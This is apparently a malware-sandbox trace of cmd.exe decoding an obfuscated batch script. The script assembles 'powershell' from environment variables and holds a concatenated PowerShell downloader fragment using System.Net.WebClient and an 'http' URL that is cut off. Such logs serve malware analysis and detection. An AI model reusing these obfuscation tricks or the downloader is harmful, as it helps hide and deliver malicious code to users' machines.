(_String1="CdjPuLtXi", _String2="RANDOM") returned -15 [0019.832] _wcsicmp (_String1="CdjPuLtXi", _String2="HIGHESTNUMANODENUMBER") returned -5 [0019.832] GetEnvironmentVariableW (in: lpName="=p&&set ", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.832] _wcsicmp (_String1="=p&&set ", _String2="CD") returned -38 [0019.832] _wcsicmp (_String1="=p&&set ", _String2="ERRORLEVEL") returned -40 [0019.832] _wcsicmp (_String1="=p&&set ", _String2="CMDEXTVERSION") returned -38 [0019.832] _wcsicmp (_String1="=p&&set ", _String2="CMDCMDLINE") returned -38 [0019.832] _wcsicmp (_String1="=p&&set ", _String2="DATE") returned -39 [0019.832] _wcsicmp (_String1="=p&&set ", _String2="TIME") returned -55 [0019.832] _wcsicmp (_String1="=p&&set ", _String2="RANDOM") returned -53 [0019.832] _wcsicmp (_String1="=p&&set ", _String2="HIGHESTNUMANODENUMBER") returned -43 [0019.833] GetEnvironmentVariableW (in: lpName="GKZajcAqFZkRLZw", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.833] _wcsicmp (_String1="GKZajcAqFZkRLZw", _String2="CD") returned 4 [0019.833] _wcsicmp (_String1="GKZajcAqFZkRLZw", _String2="ERRORLEVEL") returned 2 [0019.833] _wcsicmp (_String1="GKZajcAqFZkRLZw", _String2="CMDEXTVERSION") returned 4 [0019.833] _wcsicmp (_String1="GKZajcAqFZkRLZw", _String2="CMDCMDLINE") returned 4 [0019.833] _wcsicmp (_String1="GKZajcAqFZkRLZw", _String2="DATE") returned 3 [0019.833] _wcsicmp (_String1="GKZajcAqFZkRLZw", _String2="TIME") returned -13 [0019.833] _wcsicmp (_String1="GKZajcAqFZkRLZw", _String2="RANDOM") returned -11 [0019.833] _wcsicmp (_String1="GKZajcAqFZkRLZw", _String2="HIGHESTNUMANODENUMBER") returned -1 [0019.833] GetEnvironmentVariableW (in: lpName="=NazJjhVlGSrXQvT&&set ", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.833] _wcsicmp (_String1="=NazJjhVlGSrXQvT&&set ", _String2="CD") returned -38 [0019.833] _wcsicmp (_String1="=NazJjhVlGSrXQvT&&set ", _String2="ERRORLEVEL") returned -40 [0019.833] _wcsicmp (_String1="=NazJjhVlGSrXQvT&&set ", _String2="CMDEXTVERSION") returned -38 [0019.833] _wcsicmp (_String1="=NazJjhVlGSrXQvT&&set ", _String2="CMDCMDLINE") returned -38 [0019.833] _wcsicmp (_String1="=NazJjhVlGSrXQvT&&set ", _String2="DATE") returned -39 [0019.833] _wcsicmp (_String1="=NazJjhVlGSrXQvT&&set ", _String2="TIME") returned -55 [0019.833] _wcsicmp (_String1="=NazJjhVlGSrXQvT&&set ", _String2="RANDOM") returned -53 [0019.833] _wcsicmp (_String1="=NazJjhVlGSrXQvT&&set ", _String2="HIGHESTNUMANODENUMBER") returned -43 [0019.833] GetEnvironmentVariableW (in: lpName="QiiPPcnDM", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.833] _wcsicmp (_String1="QiiPPcnDM", _String2="CD") returned 14 [0019.833] _wcsicmp (_String1="QiiPPcnDM", _String2="ERRORLEVEL") returned 12 [0019.833] _wcsicmp (_String1="QiiPPcnDM", _String2="CMDEXTVERSION") returned 14 [0019.833] _wcsicmp (_String1="QiiPPcnDM", _String2="CMDCMDLINE") returned 14 [0019.833] _wcsicmp (_String1="QiiPPcnDM", _String2="DATE") returned 13 [0019.833] _wcsicmp (_String1="QiiPPcnDM", _String2="TIME") returned -3 [0019.833] _wcsicmp (_String1="QiiPPcnDM", _String2="RANDOM") returned -1 [0019.833] _wcsicmp (_String1="QiiPPcnDM", _String2="HIGHESTNUMANODENUMBER") returned 9 [0019.833] GetEnvironmentVariableW (in: lpName="=^he^l^l&&set ", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.833] _wcsicmp (_String1="=^he^l^l&&set ", _String2="CD") returned -38 [0019.833] _wcsicmp (_String1="=^he^l^l&&set ", _String2="ERRORLEVEL") returned -40 [0019.833] _wcsicmp (_String1="=^he^l^l&&set ", _String2="CMDEXTVERSION") returned -38 [0019.833] _wcsicmp (_String1="=^he^l^l&&set ", _String2="CMDCMDLINE") returned -38 [0019.833] _wcsicmp (_String1="=^he^l^l&&set ", _String2="DATE") returned -39 [0019.833] _wcsicmp (_String1="=^he^l^l&&set ", _String2="TIME") returned -55 [0019.833] _wcsicmp (_String1="=^he^l^l&&set ", _String2="RANDOM") returned -53 [0019.833] _wcsicmp (_String1="=^he^l^l&&set ", _String2="HIGHESTNUMANODENUMBER") returned -43 [0019.834] GetEnvironmentVariableW (in: lpName="jiIZiKXbkZQMpuQ", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.834] _wcsicmp (_String1="jiIZiKXbkZQMpuQ", _String2="CD") returned 7 [0019.834] _wcsicmp (_String1="jiIZiKXbkZQMpuQ", _String2="ERRORLEVEL") returned 5 [0019.834] _wcsicmp (_String1="jiIZiKXbkZQMpuQ", _String2="CMDEXTVERSION") returned 7 [0019.834] _wcsicmp (_String1="jiIZiKXbkZQMpuQ", _String2="CMDCMDLINE") returned 7 [0019.834] _wcsicmp (_String1="jiIZiKXbkZQMpuQ", _String2="DATE") returned 6 [0019.834] _wcsicmp (_String1="jiIZiKXbkZQMpuQ", _String2="TIME") returned -10 [0019.834] _wcsicmp (_String1="jiIZiKXbkZQMpuQ", _String2="RANDOM") returned -8 [0019.834] _wcsicmp (_String1="jiIZiKXbkZQMpuQ", _String2="HIGHESTNUMANODENUMBER") returned 2 [0019.834] GetEnvironmentVariableW (in: lpName="=dipAbiiHEplZSHr&&!", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.834] _wcsicmp (_String1="=dipAbiiHEplZSHr&&!", _String2="CD") returned -38 [0019.834] _wcsicmp (_String1="=dipAbiiHEplZSHr&&!", _String2="ERRORLEVEL") returned -40 [0019.834] _wcsicmp (_String1="=dipAbiiHEplZSHr&&!", _String2="CMDEXTVERSION") returned -38 [0019.834] _wcsicmp (_String1="=dipAbiiHEplZSHr&&!", _String2="CMDCMDLINE") returned -38 [0019.834] _wcsicmp (_String1="=dipAbiiHEplZSHr&&!", _String2="DATE") returned -39 [0019.834] _wcsicmp (_String1="=dipAbiiHEplZSHr&&!", _String2="TIME") returned -55 [0019.834] _wcsicmp (_String1="=dipAbiiHEplZSHr&&!", _String2="RANDOM") returned -53 [0019.834] _wcsicmp (_String1="=dipAbiiHEplZSHr&&!", _String2="HIGHESTNUMANODENUMBER") returned -43 [0019.834] GetEnvironmentVariableW (in: lpName="CdjPuLtXi", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.834] _wcsicmp (_String1="CdjPuLtXi", _String2="CD") returned 106 [0019.834] _wcsicmp (_String1="CdjPuLtXi", _String2="ERRORLEVEL") returned -2 [0019.834] _wcsicmp (_String1="CdjPuLtXi", _String2="CMDEXTVERSION") returned -9 [0019.834] _wcsicmp (_String1="CdjPuLtXi", _String2="CMDCMDLINE") returned -9 [0019.834] _wcsicmp (_String1="CdjPuLtXi", _String2="DATE") returned -1 [0019.834] _wcsicmp (_String1="CdjPuLtXi", _String2="TIME") returned -17 [0019.834] _wcsicmp (_String1="CdjPuLtXi", _String2="RANDOM") returned -15 [0019.834] _wcsicmp (_String1="CdjPuLtXi", _String2="HIGHESTNUMANODENUMBER") returned -5 [0019.834] GetEnvironmentVariableW (in: lpName="!!", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.834] _wcsicmp (_String1="!!", _String2="CD") returned -66 [0019.834] _wcsicmp (_String1="!!", _String2="ERRORLEVEL") returned -68 [0019.834] _wcsicmp (_String1="!!", _String2="CMDEXTVERSION") returned -66 [0019.834] _wcsicmp (_String1="!!", _String2="CMDCMDLINE") returned -66 [0019.834] _wcsicmp (_String1="!!", _String2="DATE") returned -67 [0019.834] _wcsicmp (_String1="!!", _String2="TIME") returned -83 [0019.834] _wcsicmp (_String1="!!", _String2="RANDOM") returned -81 [0019.834] _wcsicmp (_String1="!!", _String2="HIGHESTNUMANODENUMBER") returned -71 [0019.835] GetEnvironmentVariableW (in: lpName="kiqjRiiiH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.835] _wcsicmp (_String1="kiqjRiiiH", _String2="CD") returned 8 [0019.835] _wcsicmp (_String1="kiqjRiiiH", _String2="ERRORLEVEL") returned 6 [0019.835] _wcsicmp (_String1="kiqjRiiiH", _String2="CMDEXTVERSION") returned 8 [0019.835] _wcsicmp (_String1="kiqjRiiiH", _String2="CMDCMDLINE") returned 8 [0019.835] _wcsicmp (_String1="kiqjRiiiH", _String2="DATE") returned 7 [0019.835] _wcsicmp (_String1="kiqjRiiiH", _String2="TIME") returned -9 [0019.835] _wcsicmp (_String1="kiqjRiiiH", _String2="RANDOM") returned -7 [0019.835] _wcsicmp (_String1="kiqjRiiiH", _String2="HIGHESTNUMANODENUMBER") returned 3 [0019.835] GetEnvironmentVariableW (in: lpName="!!", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.835] _wcsicmp (_String1="!!", _String2="CD") returned -66 [0019.835] _wcsicmp (_String1="!!", _String2="ERRORLEVEL") returned -68 [0019.835] _wcsicmp (_String1="!!", _String2="CMDEXTVERSION") returned -66 [0019.835] _wcsicmp (_String1="!!", _String2="CMDCMDLINE") returned -66 [0019.835] _wcsicmp (_String1="!!", _String2="DATE") returned -67 [0019.835] _wcsicmp (_String1="!!", _String2="TIME") returned -83 [0019.835] _wcsicmp (_String1="!!", _String2="RANDOM") returned -81 [0019.835] _wcsicmp (_String1="!!", _String2="HIGHESTNUMANODENUMBER") returned -71 [0019.835] GetEnvironmentVariableW (in: lpName="QiiPPcnDM", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.835] _wcsicmp (_String1="QiiPPcnDM", _String2="CD") returned 14 [0019.835] _wcsicmp (_String1="QiiPPcnDM", _String2="ERRORLEVEL") returned 12 [0019.835] _wcsicmp (_String1="QiiPPcnDM", _String2="CMDEXTVERSION") returned 14 [0019.835] _wcsicmp (_String1="QiiPPcnDM", _String2="CMDCMDLINE") returned 14 [0019.835] _wcsicmp (_String1="QiiPPcnDM", _String2="DATE") returned 13 [0019.835] _wcsicmp (_String1="QiiPPcnDM", _String2="TIME") returned -3 [0019.835] _wcsicmp (_String1="QiiPPcnDM", _String2="RANDOM") returned -1 [0019.835] _wcsicmp (_String1="QiiPPcnDM", _String2="HIGHESTNUMANODENUMBER") returned 9 [0019.835] GetEnvironmentVariableW (in: lpName="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.835] _wcsicmp (_String1="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", _String2="CD") returned -66 [0019.835] _wcsicmp (_String1="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", _String2="ERRORLEVEL") returned -68 [0019.835] _wcsicmp (_String1="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", _String2="CMDEXTVERSION") returned -66 [0019.835] _wcsicmp (_String1="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", _String2="CMDCMDLINE") returned -66 [0019.836] _wcsicmp (_String1="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", _String2="DATE") returned -67 [0019.836] _wcsicmp (_String1="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", _String2="TIME") returned -83 [0019.836] _wcsicmp (_String1="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", _String2="RANDOM") returned -81 [0019.836] _wcsicmp (_String1="! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp", _String2="HIGHESTNUMANODENUMBER") returned -71 [0019.836] _wcsicmp (_String1="set", _String2=")") returned 74 [0019.836] _wcsicmp (_String1="FOR", _String2="set") returned -13 [0019.836] _wcsicmp (_String1="FOR/?", _String2="set") returned -13 [0019.836] _wcsicmp (_String1="IF", _String2="set") returned -10 [0019.836] _wcsicmp (_String1="IF/?", _String2="set") returned -10 [0019.836] _wcsicmp (_String1="REM", _String2="set") returned -1 [0019.836] _wcsicmp (_String1="REM/?", _String2="set") returned -1 [0019.837] _wcsicmp (_String1="FOR", _String2="set") returned -13 [0019.837] _wcsicmp (_String1="FOR/?", _String2="set") returned -13 [0019.837] _wcsicmp (_String1="IF", _String2="set") returned -10 [0019.837] _wcsicmp (_String1="IF/?", _String2="set") returned -10 [0019.837] _wcsicmp (_String1="REM", _String2="set") returned -1 [0019.837] _wcsicmp (_String1="REM/?", _String2="set") returned -1 [0019.839] _wcsicmp (_String1="FOR", _String2="set") returned -13 [0019.840] _wcsicmp (_String1="FOR/?", _String2="set") returned -13 [0019.840] _wcsicmp (_String1="IF", _String2="set") returned -10 [0019.840] _wcsicmp (_String1="IF/?", _String2="set") returned -10 [0019.840] _wcsicmp (_String1="REM", _String2="set") returned -1 [0019.840] _wcsicmp (_String1="REM/?", _String2="set") returned -1 [0019.840] _wcsicmp (_String1="FOR", _String2="set") returned -13 [0019.840] _wcsicmp (_String1="FOR/?", _String2="set") returned -13 [0019.840] _wcsicmp (_String1="IF", _String2="set") returned -10 [0019.840] _wcsicmp (_String1="IF/?", _String2="set") returned -10 [0019.840] _wcsicmp (_String1="REM", _String2="set") returned -1 [0019.840] _wcsicmp (_String1="REM/?", _String2="set") returned -1 [0019.841] _wcsicmp (_String1="FOR", _String2="set") returned -13 [0019.841] _wcsicmp (_String1="FOR/?", _String2="set") returned -13 [0019.841] _wcsicmp (_String1="IF", _String2="set") returned -10 [0019.841] _wcsicmp (_String1="IF/?", _String2="set") returned -10 [0019.841] _wcsicmp (_String1="REM", _String2="set") returned -1 [0019.841] _wcsicmp (_String1="REM/?", _String2="set") returned -1 [0019.842] _wcsicmp (_String1="FOR", _String2="set") returned -13 [0019.842] _wcsicmp (_String1="FOR/?", _String2="set") returned -13 [0019.842] _wcsicmp (_String1="IF", _String2="set") returned -10 [0019.842] _wcsicmp (_String1="IF/?", _String2="set") returned -10 [0019.842] _wcsicmp (_String1="REM", _String2="set") returned -1 [0019.842] _wcsicmp (_String1="REM/?", _String2="set") returned -1 [0019.843] _wcsicmp (_String1="FOR", _String2="set") returned -13 [0019.843] _wcsicmp (_String1="FOR/?", _String2="set") returned -13 [0019.843] _wcsicmp (_String1="IF", _String2="set") returned -10 [0019.843] _wcsicmp (_String1="IF/?", _String2="set") returned -10 [0019.843] _wcsicmp (_String1="REM", _String2="set") returned -1 [0019.843] _wcsicmp (_String1="REM/?", _String2="set") returned -1 [0019.845] wcsncmp (_String1="%bin", _String2="/", _MaxCount=0x4) returned -10 [0019.845] _wcsnicmp (_String1="%b", _String2="/A", _MaxCount=0x2) returned -10 [0019.845] _wcsnicmp (_String1="%b", _String2="/P", _MaxCount=0x2) returned -10 [0019.845] SetEnvironmentVariableW (lpName="%binkOHOTJcSMBkQ%", lpValue="EINhmPkdO") returned 1 [0019.845] GetEnvironmentStringsW () returned 0x28e0c0* [0019.845] FreeEnvironmentStringsW (penv=0x28e0c0) returned 1 [0019.845] GetConsoleTitleW (in: lpConsoleTitle=0x24f2f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CmD.exe") returned 0x1b [0019.845] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0019.845] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0019.845] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0019.845] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0019.845] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0019.845] _wcsicmp (_String1="set", _String2="CD") returned 16 [0019.845] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0019.845] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0019.845] _wcsicmp (_String1="set", _String2="REN") returned 1 [0019.845] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0019.845] _wcsicmp (_String1="set", _String2="SET") returned 0 [0019.846] wcsncmp (_String1="%kiq", _String2="/", _MaxCount=0x4) returned -10 [0019.846] _wcsnicmp (_String1="%k", _String2="/A", _MaxCount=0x2) returned -10 [0019.846] _wcsnicmp (_String1="%k", _String2="/P", _MaxCount=0x2) returned -10 [0019.846] SetEnvironmentVariableW (lpName="%kiqjRiiiH%", lpValue="owers") returned 1 [0019.846] GetEnvironmentStringsW () returned 0x290eb0* [0019.846] FreeEnvironmentStringsW (penv=0x290eb0) returned 1 [0019.846] GetConsoleTitleW (in: lpConsoleTitle=0x24f230, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CmD.exe") returned 0x1b [0019.846] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0019.846] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0019.847] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0019.847] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0019.847] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0019.847] _wcsicmp (_String1="set", _String2="CD") returned 16 [0019.847] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0019.847] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0019.847] _wcsicmp (_String1="set", _String2="REN") returned 1 [0019.847] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0019.847] _wcsicmp (_String1="set", _String2="SET") returned 0 [0019.848] wcsncmp (_String1="%zzw", _String2="/", _MaxCount=0x4) returned -10 [0019.848] _wcsnicmp (_String1="%z", _String2="/A", _MaxCount=0x2) returned -10 [0019.848] _wcsnicmp (_String1="%z", _String2="/P", _MaxCount=0x2) returned -10 [0019.848] SetEnvironmentVariableW (lpName="%zzwpVwCTCRDvTBu%", lpValue="pOwoJiQoW") returned 1 [0019.848] GetEnvironmentStringsW () returned 0x28ec90* [0019.848] FreeEnvironmentStringsW (penv=0x28ec90) returned 1 [0019.848] GetConsoleTitleW (in: lpConsoleTitle=0x24f170, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CmD.exe") returned 0x1b [0019.848] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0019.848] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0019.848] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0019.848] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0019.848] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0019.848] _wcsicmp (_String1="set", _String2="CD") returned 16 [0019.848] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0019.848] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0019.848] _wcsicmp (_String1="set", _String2="REN") returned 1 [0019.848] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0019.848] _wcsicmp (_String1="set", _String2="SET") returned 0 [0019.849] wcsncmp (_String1="%Cdj", _String2="/", _MaxCount=0x4) returned -10 [0019.849] _wcsnicmp (_String1="%C", _String2="/A", _MaxCount=0x2) returned -10 [0019.849] _wcsnicmp (_String1="%C", _String2="/P", _MaxCount=0x2) returned -10 [0019.849] SetEnvironmentVariableW (lpName="%CdjPuLtXi%", lpValue="p") returned 1 [0019.850] GetEnvironmentStringsW () returned 0x291010* [0019.850] FreeEnvironmentStringsW (penv=0x291010) returned 1 [0019.850] GetConsoleTitleW (in: lpConsoleTitle=0x24f0b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CmD.exe") returned 0x1b [0019.850] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0019.850] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0019.850] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0019.850] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0019.850] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0019.850] _wcsicmp (_String1="set", _String2="CD") returned 16 [0019.850] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0019.850] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0019.850] _wcsicmp (_String1="set", _String2="REN") returned 1 [0019.850] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0019.850] _wcsicmp (_String1="set", _String2="SET") returned 0 [0019.850] wcsncmp (_String1="%GKZ", _String2="/", _MaxCount=0x4) returned -10 [0019.851] wcsncmp (_String1="%Qii", _String2="/", _MaxCount=0x4) returned -10 [0019.851] wcsncmp (_String1="%jiI", _String2="/", _MaxCount=0x4) returned -10 [0019.851] GetEnvironmentVariableW (in: lpName="%CdjPuLtXi%", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="p") returned 0x1 [0019.851] GetEnvironmentVariableW (in: lpName="%kiqjRiiiH%", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="owers") returned 0x5 [0019.851] GetEnvironmentVariableW (in: lpName="%QiiPPcnDM%", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="hell") returned 0x4 [0019.851] SetErrorMode (uMode=0x0) returned 0x8001 [0019.851] SetErrorMode (uMode=0x1) returned 0x0 [0019.852] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x28cb20, lpFilePart=0x24e7c0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x24e7c0*="Desktop") returned 0x19 [0019.852] SetErrorMode (uMode=0x8001) returned 0x1 [0019.852] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0019.852] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0019.852] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0019.852] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0019.853] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0019.853] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0019.854] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0019.854] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0019.854] FindClose (in: hFindFile=0x28bd50 | out: hFindFile=0x28bd50) returned 1 [0019.854] FindClose (in: hFindFile=0x28bd50 | out: hFindFile=0x28bd50) returned 1 [0019.854] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0019.854] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0019.854] GetConsoleTitleW (in: lpConsoleTitle=0x24ea80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CmD.exe") returned 0x1b [0019.854] InitializeProcThreadAttributeList (in: lpAttributeList=0x24e838, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24e7f8 | out: lpAttributeList=0x24e838, lpSize=0x24e7f8) returned 1 